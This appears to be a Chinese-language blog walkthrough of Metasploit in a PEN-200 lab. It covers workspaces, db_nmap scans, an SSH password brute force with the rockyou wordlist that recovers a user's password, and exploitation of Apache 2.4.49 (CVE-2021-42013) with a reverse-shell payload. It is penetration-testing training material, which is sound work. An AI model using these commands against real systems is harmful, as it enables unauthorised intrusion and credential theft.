Metasploit 使用簡介
Metasploit 使用簡介
好用的自動化工具
- Metasploit https://www.metasploit.com/
- Covenant https://github.com/cobbr/Covenant
- Cobalt Strike https://www.cobaltstrike.com/
- PowerShell Empire https://github.com/BC-SECURITY/Empire
啟動資料庫服務以及使用 msfdb init 建立和初始化 MSF 資料庫 └─$ sudo msfdb init
系統啟動時一併啟動資料庫, └─$ sudo systemctl enable postgresql
使用 msfconsole 啟動 Metasploit 命令列介面,└─$ sudo msfconsole
啟動後畫面如下
啟動時若使用 -q 參數,就可以跳過上述的相關畫面 └─$ sudo msfconsole -q
使用 db_status 確認資料庫連接狀態,可以看到有連線且是 postgresql
可以透過輸入 help 來取得所有可用指令的清單
避免資料混淆儲存在相同的資料庫,所以要建立工作區來區分不同的滲透測試
使用指令 workspace 查看現有的工作區,預設僅有一個名稱為 default 的工作區
接著使用 workspace -a pen200 建立一個名稱為 pen200 的工作區
可以看到 pen200 變成紅色,表示現在使用的資料將會存儲在 pen200 工作區資料庫內
db_nmap 是一個在 Metasploit 中執行 Nmap 的包裝器,並將結果保存在資料庫中。該指令與 Nmap 具有相同的語法,接著我們將開示對靶機 192.168.249.202 進行掃描
db_nmap -A 192.168.249.201,有開 ftp、RPC、smb、rdp,看來是台 Windows
要取得到目前為止所有已發現主機的列表,輸入 hosts
輸入 services 查看目前發現的所有服務
亦可以針對特定的 Port 讓他列出,例如 services -p 8000
Metasploit 模組的類別。要啟動模組需要輸入 use 和模組名稱
這些模組都遵循通用的斜線分隔的分層語法(模組類型/作業系統、供應商、應用程式、操作或協定/模組名稱),可以透過 show -h 查看相關模組
要列出所有輔助模組可以執行 show auxiliary 命令
可以使用搜尋來減少大量的輸出,並按應用程式、類型、CVE ID、操作、平台等進行過濾
例如搜尋 smb 協定可以透過 search type:auxiliary smb
以 smb 列出的模組來說,如下 56 是顯示 SMB 的版本資訊
接著輸入 56 就會直接進入該模組的利用
相關模組不知道如何使用可以透過輸入 info 查看
輸入 show options 顯示模組的選項。
這些選項包含一個名為「Required」的列
它指定在啟動模組之前是否需要設定一個值
在大多數模組中,Metasploit 已經為我們設定了一些選項
但下圖顯示選項 RHOSTS 沒有設定值,但模組需要該值
可以使用 set 和 unset 從選項中新增或刪除值
讓我們將選項 RHOSTS 的值設定為靶機的 IP 192.168.249.202
set 完畢後再執行一次 show options 就可以看到剛剛設定的值了
要取消就是使用 unset HOSTS,再執行一次 show options 就可以看到又恢復為空白了
之前我們有掃過 192.168.249.202 有 SMB 服務,透過 services -p 445 再確認一次如下
這時候可以透過在指令的後面下 --RHOSTS ,就是透過服務的方式指定 RHOSTS
指令 service -p 445 --rhosts,注意這裡要用小寫
再執行一次 show options 一樣可以看到值已經是 192.168.249.202
當所有 Required 值都有了就可以直接跑該模組了,指令是 run
可以看到本版資訊為 3.1.1
接著使用指令 vulns 直接查看是否有漏洞可以利用
有另一台靶機是 192.168.249.201,一樣透過 dn_namp 執行掃描
是一台 Linux 僅有開 22 & 2222 Port
讓我們列舉看看有甚麼 ssh 模組,指令 search type:auxiliary ssh
接著使用模組 15,use 15,跟 hydra 很像的破密攻擊
一樣執行 show options 看看有那些必要欄位,可以看到最重要的是 RHOSTS 欄位
然後一樣可以使用使用者檔案與密碼字典檔
已知有個使用者叫做 george,所以透過 rockyou 字典檔來做破密攻擊看看,輸入相關值
- set USERNAME george 指定使用者為 george
- set PASS_FILE /usr/share/wordlists/rockyou.txt 設定密碼檔
- set RHOSTS 192.168.249.201 指定主機
- set RPORT 2222 設定要執行的 Port 改為 2222 Port
設定完畢後再執行一次 show options 察看確認該有的值都輸入完畢了
那就執行模組吧,輸入 run,得到密碼是 chocolate
那就登入拿 flag 吧
第三台靶機 192.168.249.16,一樣從新登入後切換 workspace 到 pen200
查看現在的 hosts 沒有 16 那一台,直接 db_nmap -A 192.168.249.16 掃描吧
掃完再 hosts 可以看到有 16 了
掃描時有發現 192.168.249.16 使用 Apache 2.4.49 如下
這是很標準可遭受 CVE-2021-42013 Path Traversal 漏洞利用的 Apache 版本
直接 search Apache 2.4.49 看看有無模組可以直接使用,有兩個那就直接用 0 那一個,use 0
簡單 info 看一下模組資訊
show options 一樣缺少 RHOSTS 值以及 LHOSTS,以及 payload
設定最常使用的 reverse shell 為 payload
指令 set payload payload/linux/x64/shell_reverse_tcp
以及其他幾個值要設定
- set SSL false 關閉 SSL,預設為 true
- set RPORT 80 將 RPORT 改為更常用,防火牆更不會檔的 80 Port
- set RHOSTS 192.168.249.16 這是一定必要的值
改完後一樣 show options 看一下確認無誤
那就 run 吧,接著使用 Ctrl+Z with y 將 session 丟到背景就可以繼續使用 Metasploit
可以透過 sessions -l 查看現有背景 session
上圖 session Id 是 1,所以可以透過 sessions -i 1 將該 session 叫回來
若要刪除 session 就是 sessions -k 加 Id,例如 :sessions -k 1,如下圖可以看到 session 已經砍掉了
Metasploit 中會儲存利用過的相關漏洞,這時候可以透過 run -j 直接將 session 重新建立起來
留言
張貼留言